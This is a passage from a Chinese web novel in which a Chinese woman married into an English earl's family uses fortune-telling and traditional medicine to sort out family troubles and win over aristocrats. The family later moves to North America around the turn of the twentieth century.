伦敦雨多雾重,温苒下台阶时脚滑,眼看要摔倒,霍骁北飞快上前将她打横抱起来。 也不去看什么歌剧了,他抱着温苒去找车子。 主人公离场,一群厮打得火热的‘媒人’望着两人的背影目瞪口呆。 第56章 第56章1889从闯关东开始2…… 进了车子,温苒从霍骁北身上下来,扭着头去看后车窗。 “他们没跟上来吧?” 霍骁北:“……” 害他白高兴一场,她根本就是装的。 歌剧没看成,伦敦也没什么溜达的,两人直接回了城堡。 却刚好撞到老霍斯廷斯在发脾气。 “什么人也敢拿出来送给威廉?” “私生女、私生女、乡下小地主的女儿、还有个离过婚的女人?!” “我们霍斯廷斯是街边摆着的垃圾桶吗?” 站在书房门口,温苒静静地看着霍骁北。 这你可没跟我讲过啊? 霍骁北握上她的手,“……我也没听说过。” 上流社会的贵族最看重的是血脉,最瞧不起的是混血。 霍骁北还未正式踏入社交圈,就有这么多人给他介绍结婚对象。 虽然那些结婚对象的身份在贵族眼里属于上不得台面,但相比温苒这个更上不得台面的身份,已然好上太多。 看来霍骁北这个费斯特子爵以及未来的霍斯廷斯伯爵的身份,还是相当有分量的。 ** “听说了吗?那位子爵在华国娶了夫人,夫人也是一名华国女子!” “怎会如此?伯爵怎么能让他如此胡闹?” 伦敦遍地的贵族遍地的贵女,哪一个不比区区华国女人高贵? 有心和霍斯廷斯联姻从而向美洲发展的家族趁机拜访老霍斯廷斯。 “伯爵,听说费斯特子爵身边有一名关系不同寻常的华国女人?” 瞧这话给说的,老霍斯廷斯要不是确实清楚威廉和索菲亚的关系,他得以为那个女人是威廉的情妇。 老霍斯廷斯高傲地点头,“她是威廉的夫人,我兄长在世时,亲自为威廉挑选的结婚对象。” 消息放出去,有心伯爵夫人之位的家族心思并没有消停下来。 有了夫人又如何? 英国虽然是一夫一妻制度,但婚姻之外,还有情妇和情夫一说。 相比较前者是联姻而迫不得己娶/嫁的对象,后者可就是真心喜欢的。 于是飞来霍斯廷斯城堡的邀请函就更多了。 管家每天都会整理来信,交给接过家族权柄的霍骁北处理。 书房里,温苒趴在沙发上,大声朗读:“亲爱的费斯特子爵、威廉霍斯廷斯先生,我是奥奇兰剧院的格丽丝,明天晚上我将出演歌剧《玫瑰之恋》,希望您能赏光出席一观我的表演,有关我母亲的祖国我有许多好奇想向您请教,期待能在观众席上看到先生,亲爱的威廉。” 温苒记得这位格丽丝,和阿伦德尔伯爵第一次见面,他就用这位演员私生女加混血的身份来侮辱霍骁北。 温苒抖抖信纸,妥善地放回桌上,拿起下一封信展开。 “亲爱的费斯特子爵,我是来自格沃斯家族的子爵,我的妹妹毕业于皇家淑女院,她聪慧伶俐娇俏可爱,十分仰慕您的威名……” 霍骁北忍无可忍,抽走她手里的信封,让一旁憋笑的管家把信都丢出去。 霍骁北在她腿边坐下,“温苒,我们需要谈谈。” 温苒翻身躺在沙发上,眨巴着水汪汪的杏眼望着他,“谈什么?” 霍骁北:“……” 霍骁北避开她的视线,“宴会过后,我打算立刻动身去美国。” 温苒惊讶地坐起来,“这么快?” 不然呢? 再不走,然后让温苒看他更多热闹? 醋她是一口不吃,热闹她是一个不落。 温苒当然不会吃醋,这些人又不是冲霍骁北来的,他们看上的是伯爵的身份和财富。 也就是现在城堡门口蹲了一窝一窝的记者,不然温苒高低要磨着霍骁北去参加几场宴会,看看他到底多受欢迎。 可见什么高贵的血脉都是假的,缺钱也高贵不起来。 送进霍斯廷斯城堡的信件如石沉大海,那位费斯特子爵谁的邀约都没有回应。 “区区一个混血,有什么资格高傲?” “凭他是未来的霍斯廷斯 伯爵!” 一言出,全场沉默。 并在心里补充:还是如此富有的霍斯廷斯伯爵! “嗤!一个混血,他没有资格坐上伯爵之位!” 一个声音插入进来。 “有没有资格可不是你说了算!” 所有事务被霍骁北接手,从而一身轻松,重新变回自由快乐花蝴蝶的詹姆斯大摇大摆走过来。 眼神扫过在场人,他晃着酒杯,嗓音发寒,“霍斯廷斯的高贵也是你们这些人可以质疑的?” “詹姆斯,我只是实话实说而已。”那人故作镇定。 詹姆斯冷笑,“那我也告诉你一个事实,事实就是威廉是我霍斯廷斯家族的下一任家主,也是伯爵继承人,他生来就比你高贵!” 说完,詹姆斯转身就走。 余下的人却被气个够呛。 是是是! 他威廉霍斯廷斯不过是个肮脏的混血,却生来就有伯爵之位和庞大的财富可以继承,而他们呢? 他们只能背地里说些酸话,真见到人却还得言笑以对,世上怎么会有这么不公平的事情? 圣诞前,远在法国度假的伊芙丽回到城堡,当天晚上父女两个就大吵一架。 詹姆斯苦着脸寻求帮助,“威廉,索菲亚,帮帮堂叔吧。” 霍骁北被推进老霍斯廷斯的书房。 温苒被推进伊芙丽的房间。 詹姆斯和老管家一人盯着一边,互相通风报信。 老霍斯廷斯抱着酒瓶子,黑着脸吼道:“我是不会同意她嫁给一个车夫的!” 霍骁北:“……” 霍骁北:“哦。” 平平无奇略显冷漠的一个字眼,却打开了老霍斯廷斯的心防,他开始对霍骁北大吐苦水。 霍骁北也由此知道了堂姑伊芙丽令人惊叹的眼光和情史。 另一边,伊芙丽的房间。 金发蓝眼圆润丰满的女人靠在温苒肩头啜泣,“我就是要和多克结婚!我是不会向父亲屈服的!比起伦敦丑陋高傲的贵族们,多克英俊善良为人谦逊,父亲怎么能因为多克的身份就看不起他?” 伊芙丽心中不忿,威廉堂弟娶索菲亚父亲都可以接受,为什么不能接受多克? 老霍斯廷斯喝醉睡了过去,伊芙丽情绪起伏过大很快也累得需要休息。 两人走出房门,分别被詹姆斯和老管家急切地堵上来,殷切地注视着。 温苒:“……” 温苒怎么也没想到,自己还得帮伯爵处理父女关系。 两方会面,汇总信息。 伊芙丽是个恋爱脑的事实不容置疑。 她一共有三段婚姻,都是自由恋爱,结婚对象分别是一名士兵、一名商人以及一名作家。 结果都很惨。 破财都算小事,第二段婚姻还险些被破产的商人卖到红灯区。 之后伊芙丽再动春心,老伯爵说什么也不同意她结婚。 这次去法国度假,伊芙丽被马夫多克献了一段时间的殷勤,据她的贴身女仆说两人偶然酒后乱X,然后就一发不可收拾了。 霍骁北只有沉默。 对于愚蠢的人他向来没有耐心,他的处理方式也很简单粗暴:“管家,你去通知马克,他被开除了。詹姆斯堂兄,收拾出一间屋子,让堂姐住进去清醒清醒。” 詹姆斯:“……” 詹姆斯用力摇头,“不可!你以为父亲没用过这种办法吗?姐姐会用绝食来抗议的!” 霍骁北不为所动,“饿了就会知道吃饭,让厨师在房间外面做菜,她会撑不住的。” 詹姆斯有些动摇,这个办法有点损,但很值得一试。 温苒默默看着,突然出声:“要不我来试试?” 詹姆斯和老管家眼睛一亮。 是索菲亚!大家有救了! 不是他们不相信霍骁北的能力,但论鬼点子……咳不是,论聪明程度,索菲亚要更胜一筹。 下午,城堡外的草地上安排了一场露天烧烤,算是小型的家族聚餐。 温苒让管家搬来一张桌子,再一同将伊芙丽和多克喊过来。 烧烤架附近,父女两个因一块烤鸡翅几乎大打出手,二哥温一茂见状,干脆把鸡翅送到自己嘴里。 “都别吵,我已经吃了。” 父女俩:“……” 管家悄无声息过来,“伊芙丽小姐,子爵夫人请您和多克一起过去。” 老霍斯廷斯被事先通过气,闻言背着手率先迈步,“我也去看看。” 温苒面前放着两本书,一本英文的星座解析,一本繁体中文的周易。 是的。 她要给伊芙丽算命。 “请坐,两位。” 她示意对面。 伊芙丽看到这阵仗,心里打了下突,“索菲亚,你这是?” 多克是个身形高大的年轻人,穿着不合身的西装和衬衫,头发乱糟糟,整个人显得很邋遢。 他看似规矩,实则眼神四处乱飘。 霍骁北搬来凳子,沉着脸坐到温苒身边,频频扫过来的视线才消失不见。 温苒微笑着向两人分发纸笔,“堂姐你算过命吗?” 伊芙丽恍恍惚惚,“索菲亚,你难道是来自东方的巫师?” 多克震惊,“什么?巫师?” 天!他把这个消息卖给伦敦小报能赚多少钱? 温苒勉勉强强道:“略懂。” 自古巫医不分家,中医还脱胎于道家,阴阳五行是基础理论,她LV3的医术精通算命不是很正常? 温苒:“写下你们的出生时间,精确到小时或者分钟。” 伊芙丽深深看了眼温苒,提笔写下自己的生辰。 多克犹豫了片刻,也决定写下来,不过他耍了些心机,并没有写正确的时间。 收到两张生辰,温苒换算成八字。 伊芙丽紧张地绞着手,“索菲亚,我、我想先算爱情和婚姻。” 多克邪魅一笑,“伊芙丽,我会给你幸福的。” 老霍斯廷斯和詹姆斯就站在一旁,父子俩个使劲瞪着多克,他们还没死呢? 伊芙丽现在的全部心神都在温苒笔下,对于多克的话她只是敷衍地点了点头,“我知道的,多克。” 温苒放下笔,首先拿起多克那张,“你给的时间是错的。” 多克表情错愕,怎么可能?她怎么知道是错的?难道她真的会巫术? 伊芙丽不敢置信,“多克,你为什么要写下错误的时间?你是有什么想隐瞒我的吗?” 老霍斯廷斯和詹姆斯激动地心脏砰砰跳,还是索菲亚厉害,还没开始伊芙丽就对多克有了意见。 多克本就心虚,在伊芙丽的质问下,一面拿过纸笔重新写下正确的时间,一面语无伦次地向她解释:“伊芙丽,我只是和索菲亚开个玩笑而已,你最善解人意,肯定不会怪我吧?” 其他人陆陆续续围上来,正好听到这句话,下意识皱眉。 怎么哪里听起来怪怪的? 温苒木着脸,肯定怪啊,这不就是PUA吗? 伊芙丽别过头去没再说什么。 温苒换上正确的八字,开始解盘。 “伊芙丽你的八字属木,能量弱,喜水,不喜金。” “幼时到少年富贵,成年后情感多波折,适合晚婚晚育。” 伊芙丽掩面啜泣,可她十六岁就结婚,现在二十六岁结了三次婚每次结果都不好。 多克瞅准时机,柔声安慰伊芙丽。 他心里对温苒的批语不屑,这些明明是大家都知道的,看来这个华国女人也没什么本事。 温苒再给多克解盘:“多克你八字属火,能量强,喜木,不喜水。” “幼时家贫,父母无靠,为人懒惰性情冲动,经常走偏门捞财。” 多克只听见了‘喜木’两个字,高兴地拥抱住伊芙丽,“伊芙丽你听见了吗?来自东方的巫师说我喜欢你?我对你的心不止上帝可见,东方的神灵也承认了!” 老霍斯廷斯和詹姆斯对多克怒目而视,要不要脸你? 伊芙丽泪眼朦胧地望向温苒,“索菲亚,多克说的是真的吗?他对我是真心的?多克是我的真命天子对不对?我和他结婚一定会幸福对吗?” 温苒:“……” 温苒嘴角抽搐,她还什么都没说呢。 她摇了摇头,“当然不是!” 多克激动,“你刚刚亲口所说,我听得清清楚楚!” 温苒出声反驳,多克拍着桌子起来打断她,“你刚啊——” 话刚出口,多克就惨叫着倒飞出去。 伊芙丽愣在当场,一时都没有反应过来。 霍骁北收回脚,吩咐管家:“把他带回来,继续听夫人说。” 多克被押送过来,再看霍骁北时,眼神中多了惊恐和愤怒。 小插曲而已。 温苒继续解八字。 八字学说驳杂,某些理论甚至互相矛盾,有道是信则有不信则无。 温苒只说那些不好的,照实说并不算撒谎,所以她的大师风范拿 捏得十分威严。 “木生火,火会夺取木的能量,将木焚烧殆尽。火强木弱,这个过程就会加快,结果也更加惨烈。” 此言一出,伊芙丽脸色煞白。 老霍斯廷斯和詹姆斯也心下一阵忐忑,不停告诉自己都是假的都是假的,不能信。 霍骁北此时出声,“简而言之,火克木,会夺走木主人的健康和财富,轻则身败财尽,重则家破人亡。” 听到这里,伊芙丽一把推开多克。 刚被踹摔在地上,现在又被推倒在地上的多克:“???” 他一脸受伤不敢置信,“伊芙丽!” 伊芙丽避开他的眼神,“多克,你、你不是我的真命天子,我的真爱还在等我,我们分手。” 再说!她只是想有一段完美的爱情,但如果代价是让家人去死,她宁愿孤独到老! 老霍斯廷斯和詹姆斯看到这一幕大快人心,还得是索菲亚啊! 但温苒只想说,还得是你霍骁北,你是怎么能面不改色说出‘火克木’来着? 一心傍富婆的多克算计落空,被无情地赶出霍斯廷斯的城堡。 他神情阴狠,怀着对子爵夫妇的怨恨,将他所知道的惊天大秘密卖给了伦敦的小报。 一则小道消息悄然在各大宴会中蔓延开。 万众瞩目中,伯爵继承人的回归宴到来。 霍骁北身着黑色西装,温苒一袭绿色丝绒长裙,缓缓步入大厅。 “上帝!她美丽得像个天使!” “子爵竟然如此英俊?” “天!那位夫人对我微笑我要晕过去了!” 听着身周对两人的溢美之词,老霍斯廷斯甚是满意。 待两人走上前,他郑重向大家介绍。 音乐响起,舞会开始,作为主人公的霍骁北和温苒要先跳第一支舞。 舞毕,温苒被伊芙丽带走,去见她的好友们。 老霍斯廷斯见状,也赶紧把霍骁北喊过来,“威廉,这是首相大人……” 温苒跟随伊芙丽来到茶室,一进去就被花蝴蝶一样的女人们围起来。 “子爵夫人,我可以叫你索菲亚吗?” “子爵夫人,你真美丽!” “子爵夫人,听说你会算命?” 某句话出口,房间里突然安静下来,所有女人都睁大眼睛,躲在折扇后目光灼灼地望向温苒。 温苒:“……” 算、算命社交? 一场热闹且完美的宴会结束,无数的信函再次发往霍斯廷斯的城堡。 这次只有寥寥几封属于霍骁北,其余都目标明确地冲着温苒而去。 温苒当初没吃醋,但霍骁北货真价实地喝撑了醋。 “亲爱的子爵夫人,宴会一别,我对您的美丽久久无法忘怀……” 霍骁北低声朗读,越读脸色越黑。 温苒:“……” 她爬起来捂住霍骁北的嘴,“不是说要去美国吗?快走快走!” 这些求爱信就算了,那些求她算命的信可真要命,她不回复,那些人就连伊芙丽那里都不放过。 圣诞节后一周,一行人出发前往美国。 老霍斯廷斯一家三口也在出行之列。 老霍斯廷斯:“威廉,家族的一切事务都交给你处理,我很放心。” 詹姆斯同样如此表示:“威廉,幸好有你。” 霍斯廷斯家族在美国的主要势力在东海岸,西部大开发时也略有向西海岸发展。 到达美国后,一行人辗转来到一处庄园农场,农场坐落于金州罗斯城郊外的奥米兰小镇上。 霍骁北几乎没有休息的时间,接连几天和詹姆斯出门,正式接手家族在美洲的势力,并确定和安排好接下来的发展计划。 老霍斯廷斯则带温苒她们进城参观大学。 “想来哪所大学,每一所大学我都有朋友。” 郭朝宗和郭晨自然是继续之前的学业。 周凯看看这个看看那个,哪个都想选,最后选了郭朝宗的专业。 温一荣选择了商业管理和金融。 温一茂犹犹豫豫不想读书,但是看孙小菊选了医学专业,他想了想,胡乱指了一行。 温苒一瞅,刑侦专业,也行吧。 三娘和香梅分别选了医学专业的两个分支,但都和温苒在一个学校。 最后是两个少年,林菘和林葵。 这些年颠沛流离,在奉天的时候兄妹俩跟着宋守言识字,在上海去新式学堂才正儿八经学了几年,如今到了美国择校成了大难题。 美国现如今排华浪潮声势浩大,两个华国面孔中途转入学校,可以想见对兄妹俩的霸凌行为绝不会少。 回去跟大家一提,林葵站出来,“姑姑,我不怕,我身手很好,别人欺负我我会跑会还手,肯定不吃亏!” 林菘用力点头,“我也是,我会保护妹妹。” 老霍斯廷斯摸摸两个孩子的脑袋,欣慰道:“对!有人欺负你你就欺负回去,爷爷给你们撑腰!” 霍骁北夜里一身寒气回来,听说这件事,直接道:“以霍斯廷斯家族的名义办所学校。” 温苒恍恍惚惚,对哦,都忘了她们现在是非常非常有钱的有钱人了。 年轻人都去上学,上了年纪的都出去打拼。 林长福琢磨着开个餐馆,门脸儿他都看好了,就是菜式还拿不准。 温苒吃着刚出锅酥脆的薯条,“炸鸡、汉堡、意面、鸡肉丸子是西式快餐,这附近有个华人街区,镇上的华人也不少,再添上包子面条馅饼应该就可以了。” 刚开始嘛,贪多嚼不烂。 老霍斯廷斯摇头,“如果中餐和西餐一起售卖,白人是不会愿意光顾的。” 温苒想了想,“那就分成两个店,林叔你和林大哥分开张罗。” 林长福想也不想就点了头,“这主意好!” 林粟傻眼了,“爹!我一个人不行的!” 林长福嫌弃地看着儿子,“你都三十多岁的人了,就让你蒸点包子弄点馅饼你都不行,说出去我都丢脸!” 林粟苦着脸,他是这意思吗? 他灶上的手艺这么些年练得还成,但是张罗一家店他真是怕,怕弄砸了。 林长福一看他这么软和就来气,顿时觉得温苒这主意更好,他非得让林粟好好磨磨性子不成! 奥米兰小镇的中央大街上,街头新开了一家实惠低价的快餐店,一经开张生意火爆,镇上居民和附近工厂的员工都是小店的常客。 和快餐店的火爆不同,同一日在街尾开张的中餐馆则门可罗雀,只偶有寥寥几个思乡的华工光顾。 林粟夫妻每天苦着脸。 林长福、温老汉和温家三房的夫妻每天都喜洋洋,哎呀,今天又赚了不少钱! 温苒凑到默默抽烟的宋守言身后,“宋叔,你要不要去霍骁北那里帮忙?” 宋守言没说话,安静地看了她一眼,“我去不是添乱吗?” 温苒又道:“那你要不要去大学读书?” 宋守言被烟呛住嗓子,咳得脸通红,“我多大年纪了还去学校?” 温苒理直气壮:“活到老学到老嘛,多大年纪都不算晚。那不然大家都在忙就你无所事事,让别人看到了心里会不平衡。” 宋 守言烦躁地转了个方向,“不去。” 温苒绕到他前面,“真不去?” 宋守言摆头,“不去不去。” 温苒点点脑袋,背着手慢吞吞走远,“那好吧,我还想同你说呢,我们大学有来自华国的留学生,他们经常会凑在一起写文章。” 宋守言耳朵动了动,“都有谁啊?” 温苒倒回来,“您不如亲自去看看?” 宋守言最后没去读书,他挤进周凯的宿舍,有时去参加留学生聚会,最常去图书馆读书。 所有人都暂时有了安排,霍骁北那里却遇到了难题。 还是老霍斯廷斯告诉温苒的,“威廉想买下奥米兰附近的土地办厂,对方提了条件,但威廉拒绝了。” 温苒:“什么条件?” 老霍斯廷斯:“萨默特家族来自法国,对方家主想请你为他的儿子算命。” 温苒:“……” 第57章 第57章1889从闯关东开始2…… 说算命不太准确,萨默特是想请温苒为他儿子驱魔,外加改命。 温苒:“……” 老霍斯廷斯还说:“他给我打电话,说伦敦贵族都在议论认为你真的会巫术,因为你从华国普通百姓一跃成为子爵夫人,这样的经历很有说服力。” 若不是她们走得早,不在伦敦,恐怕霍斯廷斯府上的台阶都要被踏平了。 温苒:“……” 那不是靠巫术,靠的是积分。 老霍斯廷斯压低声音,一脸神神秘秘,“索菲亚,你真的会巫术嘛?” “你悄悄告诉我,你放心,我绝对不会告诉别人的。” 温苒:“……” 真的是够了! 虽然不懂巫术,也并不打算给萨默特家族驱魔改命,但温苒还是想见对方一面。 澄清谣言!!! 她只是个普普通通的神医,学的是唯心主义,信的是唯物主义罢了。 不过温苒没想到自己刚听说这件事,对方就主动上门来了。 霍骁北接到消息急匆匆赶回来,看到沙发上人模人样的萨默特,冷着脸浑身散发着寒气坐到温苒身旁。 “萨默特公爵不请自来,不觉得很失礼吗?” 萨默特微微一笑,贵族的行为永远不会失礼,他的笑容充满高傲。 “费斯特子爵,我怀着虔诚的心意,想请您的夫人为爱子蒙莫西驱魔,并做好了付出代价的准备。” 听他的意思,似乎条件任由温苒提。 但温苒可不敢笃定一个狡猾贵族的承诺。 温苒反问:“让萨默特家族投资的工厂重新接纳华工,并和洋人同工同酬,也可以?” 萨默特脸上的微笑顿了顿,目光转到她的脸上,微微颔首,“自然,只要夫人愿意。” “夫人的美丽我早有耳闻,若能让夫人展颜一笑,萨默特愿意付出所有。” 霍骁北:“……” 他平静地捡起一枚汤匙,随意捏成一团废铁,丢到萨默特面前,抬眸冷冷地盯着萨默特的脖子。 萨默特:“……” 萨默特艰难地将注意力从扭曲的钢制汤匙上挪开,“只要夫人愿意为爱子驱魔,区区小事萨默特一定办到。” 之后萨默特匆匆离开,连老霍斯廷斯热情地邀请他留下用晚餐都没有答应,背影很有落荒而逃的意味。 老霍斯廷斯送完人溜达着回来,嗤笑:“堂堂公爵,胆子这样小,要不是有一个好姑姑和一个好妹妹,公爵之位哪轮到他来坐?” 一旁的老管家默默在心里腹诽,任谁见了被捏扁的钢制汤匙胆子都会变小吧? 和公爵到底胆小胆大这件事相比,温苒更关心对方答应下来的条件。 “叔祖父,萨默特会履行承诺吗?” 老霍斯廷斯笑得神秘,“索菲亚,你是来自东方的巫师,背叛向巫师许出的承诺,我想萨默特公爵并不敢一尝苦果。” 温苒:“……” 这并不好笑。 很快,萨默特公爵用实际行动向温苒表现了他的诚意。 公爵家族投资的工厂重新面向华人招工,招聘启事登上各大州的报纸。 结果…… 结果工厂被打砸,产品被抵制。 工厂毁坏,订单中止,重新招聘的华工原地解散。 温苒:“……” 给她来这招? 萨默特公爵再次上门,“很抱歉,子爵夫人,我确实履行了向您的承诺,只是结果不如人意。” 老霍斯廷斯悄悄跟温苒说道:“答应他,索菲亚,让他见识见识你的能力,他会心生恐惧。” 温苒只想让这老头儿别添乱了。 她根本就不会驱魔,更不会改命! 但眼下的情况也不容许她再推辞,否则她敢肯定,她今天拒绝,明天各大州的报纸就会把萨默特家族抽风招聘华工一事的原因安在她头上。 虽然确实跟她脱不了干系。 温苒冷脸以对,“公爵的心意如何,上帝会看清楚。” 萨默特公爵迟疑,他对爱子的怜惜之情不假,但在践行对女巫的承诺上却耍了心思,上帝究竟知不知道该看清楚哪个? 萨默特决定挽救一下在温苒心中的形象,“为了表示我的虔诚,我愿意向夫人献上一家制药厂。” 老霍斯廷斯看到,‘制药厂’三个字一出,索菲亚的眼睛几乎比灯泡还要亮了。 他气得翻白眼,没出息,太没出息了,他们霍斯廷斯家族是落魄到什么地步了?连个制药厂都开不起来吗? 温苒的态度不说一百八十度转变,但明显不再冷淡,“萨默特公爵的虔诚,我相信上帝会明白的。” 萨默特:“……” 他很想问,上帝真的会明白吗? 他想了想,急切道:“我想,我需要再献上一家医院,夫人。” 温苒沉默,她不知道上帝看没看清楚,但她清楚了。 老霍斯廷斯也是无语,如果他是上帝,早就一拐杖给这个心不诚还敢跟他讨价还价的吝啬公爵抡飞了。 付出一家制药厂和一家医院后,萨默特公爵终于请到‘女巫’温苒出手的机会。 身为‘女巫’的代理人,霍骁北如此向客户萨默公爵特解释:“只是一次检查,后续是另外的价格。” 萨默特家族家大业大,自认没什么付不起的价格。 霍骁北把这些天调查到的信息拿给温苒。 “萨默特独子今年十三岁,曾在法国贵族学校被同龄人霸凌,有很严重的心理问题。” 心理问题导致身体恶化,简单来说,这个孩子有病。 坏消息:不是巫师!不会驱魔!不会改命! 好消息:是病!她能救! 那就没什么可担心的了。 温苒迟疑另一件事,“你说,我要不要把治病伪装成驱魔。” 实在是这个萨默特公爵太气人,高傲自大目中无人,求人都求得高人一等。 霍骁北诧异地看着她,捧起她的脸左右端详。 温苒:“……” 温苒恼羞成怒,拍开他的手,“你看什么?” 霍骁北实话实说:“看看你的脸皮有没有变厚。” 撒个谎都露馅儿的包子,是怎么敢提装神弄鬼的? 温苒瞪着臭男人,“肯定是没有你脸皮厚!” 她打消了装神弄鬼的盘算。 但事与愿违。 随着温苒将萨默特独子的身体一点一点调养好,萨默特看她的眼神中,敬畏与日俱增。 萨默特:女巫的声音有着独特的魔力,可以让狂躁中的蒙莫西安静下来。 温苒:只是普通的心理学话术而已。 萨默特:女巫赐予的香薰让浑噩的精神变得清明,让不安的灵魂得到平静。 温苒:只是普通的安神香而已。 萨默特:女巫熬煮的魔药黑乎乎臭烘烘,但它驱除了恶魔。 温苒:只是普通的中药而已。 萨默特:女巫教导的神秘姿势让蒙莫西身体强壮。 温苒:只是强身健体的几个动作而已。 萨默特:女巫赐予的魔器让蒙莫西手脑变得灵活,思维更加敏捷。 温苒:只是两个核桃而已!恢复身体的辅助工具! 总之,温苒这一套在华国十分正常的治疗流程,落到萨默特眼里处处带着奇妙的色彩。 温苒:我只是普普通通一名神医。 萨默特:法力强大的女巫! 温苒:“……” 她不想再看到这个人。 霍骁北警告萨默特:“我夫人不想让别人知道她的身份,她喜欢清净,希望公爵不要擅作主张。” 萨默特一改之前的高傲,“子爵 请放心,我和蒙莫西都明白。” 霍骁北:……算了。 然而有关温苒另一层神秘身份的谣言,在萨默特公爵携带命不久矣的爱子蒙莫西重归社交圈之后,依旧悄然流传开。 先前萨默特公爵大费周章请人为爱子驱魔,连红衣主教都请了三位,最后却收效甚微。 冷不丁蒙莫西身体大好,自然会有人好奇背后的原因。 这一查,就查到了温苒身上。 再一查,原来伦敦早就流传着这位子爵夫人会算命的消息! 此后金州奥米兰小镇上,霍斯廷斯庄园、快餐店和中餐馆就没有消停的时候。 就连老老实实在大学进修的几人都得到了消息。 郭朝宗来庄园拜访,围着温苒绕了一圈又一圈,“你知不知道你在外面的形象被传成什么样子了?” 温苒皱着脸,她能不知道吗?她现在连学校都不敢去! 郭朝宗啧啧摇头,“美国如今最大的私人银行,其家族的家主见不到你人,都找到我跟前去了?!” 温苒痛苦地捂住耳朵,不要再说了。 如果再给她一次机会,她一定不会自作聪明地给伊芙丽算命。 她明明只是想拆散有情人罢了!难道这就是她的报应吗? “我要去加拿大,或者去南美。”温苒狠心说道。 有系统在,她完全没有必要去学校学习,现代医学刚刚起步,她大可以自己做研究。 温苒一动,大部队就得跟着动。 温老汉:“反正我离开不我家苒。” 温老三和陈六娘更是如此,闺女在哪儿她们在哪儿。 温老大和温老二离不开爹,张玉香和杜月娘离不开妯娌,干脆都一块挪地儿吧。 林长福奔五的人了,还挺有事业心,把快餐店和中餐馆留给儿子,老夫妻俩打算去加拿大和南美开拓新事业。 不上学的都开始收拾东西,老霍斯廷斯也不例外,丢下不见人影的詹姆斯,以及最近疯狂迷恋某男星的伊芙丽,带上老管家说走就走。 加拿大地广人稀,霍骁北大手一挥买地建厂,招募华人华工大搞开发。 温苒一面孜孜不倦学习系统医学知识,一面开医馆办药厂,秘密生产某些药剂。 转眼间,1902年的夏天到来。 在华滞留三年的大哥温一荣来到加拿大建华市。 两年前,清廷高层内斗,日俄占据地理优势预备进一步侵华,英法等不欲被抢夺利益也纷纷加入,以民间反洋团体为由发动侵华行动。 清廷内部的腐败在此次战争中尽数展现,守城官员望风而逃不战便降,清廷皇室仓皇弃城西逃。 战争苦的永远是百姓。 据亲历战争的温一荣所述,俄国目标明确直指东三省,所过之地的百姓被大肆屠杀,冀中也是她们的老家所在同样被传教士带领的军队大肆屠杀。 温一荣说道:“纺织厂就近向百姓采购原料,我派厂里的管事去各个村子,如果有军队入侵就以霍斯廷斯家族的名义交涉,最终死了三个管事。” 也就是说,有三个村子遭了难。 “纺织厂员工有亲戚来投奔,我做主收留下来,后续陆续有百姓闻风前来投靠,粮食吃紧,我给李夫人去电,让她联系马家运送一批粮食。” 战后,这些百姓的房屋尽数被毁,无处可去。 温一荣便按照温苒的意思,买地招人扩大厂区。 处理完所有的事务,他才起身来找家人。 温一荣在华国忙,温苒和霍骁北在美国也没闲着,专门回了一趟欧洲,下套打劫坑蒙拐骗拿回了一批文物。 温一荣:“对了,我到上海时遇到了故人,郑巡抚的女儿,三妹你曾经的好友。” 温苒立马想到了是谁,“是荣秀!这么巧?” 温一荣摇头,神情复杂,“不算巧。” “我听说96年时她嫁给了她的丈夫,婚后她丈夫来美国留学,至今已有七年未归。” 温苒震惊,“什么?” 温一荣说道:“到美国后我托了人打听她丈夫的下落,或许是遇到了意外。” 美国民间排华的浪潮一直都没有消停的趋势,留学生遇害并不是什么新鲜事。 丈夫未归,小叔子染上大烟败光家产,荣秀的嫁妆也被夺走抵债。 不仅如此,荣秀她爹郑巡抚在湖广总督任上感染血吸虫病撒手人寰,之后荣秀大哥带妻儿老母回川蜀老家度日。 川蜀与上海有江河做带,荣秀与家人此生却难以再见。 当年郑巡抚对她们多有照顾,温一荣看到恩人的女儿流落至此,自然不会坐视不理。 “我聘请她在商场工作,听闻她偶尔也写一些文章发表,若只有她一人生活应当不错。” 温苒有些无法想象这些年荣秀过的是什么样的生活。 当年的荣秀活泼单纯善良大方,徐夫人看似严肃实则平易近人,郑巡抚也是个难得的好官,现在却…… 温一荣托人打听到消息,荣秀的丈夫未完成学业便回了回国,据知情的留学生透露,他目前在上海。 荣秀的丈夫在上海?! 郭朝宗匆匆赶来加拿大,“狗娘养的!那就是个孬货!” 郑家于温家算恩人,于郭朝宗而言更是世交长辈,情分更加不同。 知道荣秀的遭遇后,他就马不停蹄四处去打听。 “那家人仗着荣秀的家人远在川蜀不能为她出头,夺了她的嫁妆变卖,逼着她出门赚钱,转头还要指责荣秀抛头露面不守妇道,背地里早就和回国的儿子相认,一家子就扒拉着荣秀吸血!” “不行!我要回国,让荣秀跟那个孬货离婚!” 霍骁北点头,“你回国正好,之前的计划可以开始布局了。” 和郭朝宗一起回国的还有温一荣和周凯。 九年后,华国最后一个封建王朝终止。 郭朝宗等人辗转来到加拿大,多年未见,曾经年轻的面庞染上风霜。 郭朝宗揪住一只胖墩拎起来,“这谁?温一茂,这你儿子?咋半点不像你又矮又胖!” “哇——” 话音落下,胖墩仰头嚎出来。 一众长辈嗖嗖围上来,连老霍斯廷斯也不例外。 “炎炎不哭,曾祖给你吃糖。” “约翰,你四十岁的人了欺负个孩子算怎么回事?威廉,你过来教教他尊老爱幼,这不是华国的传统美德吗?” 郭朝宗:“……” 霍骁北过来把他拎走,告诫他:“不要招惹这个孩子。” 这些年从温家到林家再到霍斯廷斯家,就这么一个孩子出生,所有人都看的跟眼珠子似的。 霍骁北对温明炎的态度一般般,但绝不意味这个孩子可无可有,至少有了温明炎以后他和温苒不再三天两头被催生。 老人们围着孩子转,不算年轻的年轻人聚在一起说话。 温苒看着沉默不语的温一荣,“大哥,你为什么不带大嫂回来?” 郭朝宗小声道:“你大嫂怀孕了。” “什么?” “谁怀孕了?” 围着胖墩转的一群老人身形矫健,飞快挤上来。 郭朝宗:“……” 郭朝宗指温一荣,“他媳妇儿。” 温老三和陈六娘眼里闪过遗憾,老霍斯廷斯更遗憾。 最高兴的莫过温大伯夫妻,拽走温一荣去一边教训。 “媳妇怀孕了你不守着你回来做什么?” “当心媳妇儿跟你离婚!” “几个月了?” “你要不现在就回国吧?我去给你收拾行李!” “别!媳妇儿,咱们一起回国!” 温一荣:“……” 温一荣也高兴,但高兴之余有种说不出来的失落。 他上了船才知道,而且是从郭朝宗嘴里得知的。 他这个丈夫难道就如此失职?妻子怀孕都不通知他,她眼里是不是就只有商场和生意? 吃了顿团圆饭,大房一家三口被扔上了回国的轮船。 转年,温家喜添一对龙凤胎。 龙凤胎在华国长到十岁,1920年,才乘船第一次来到美国。 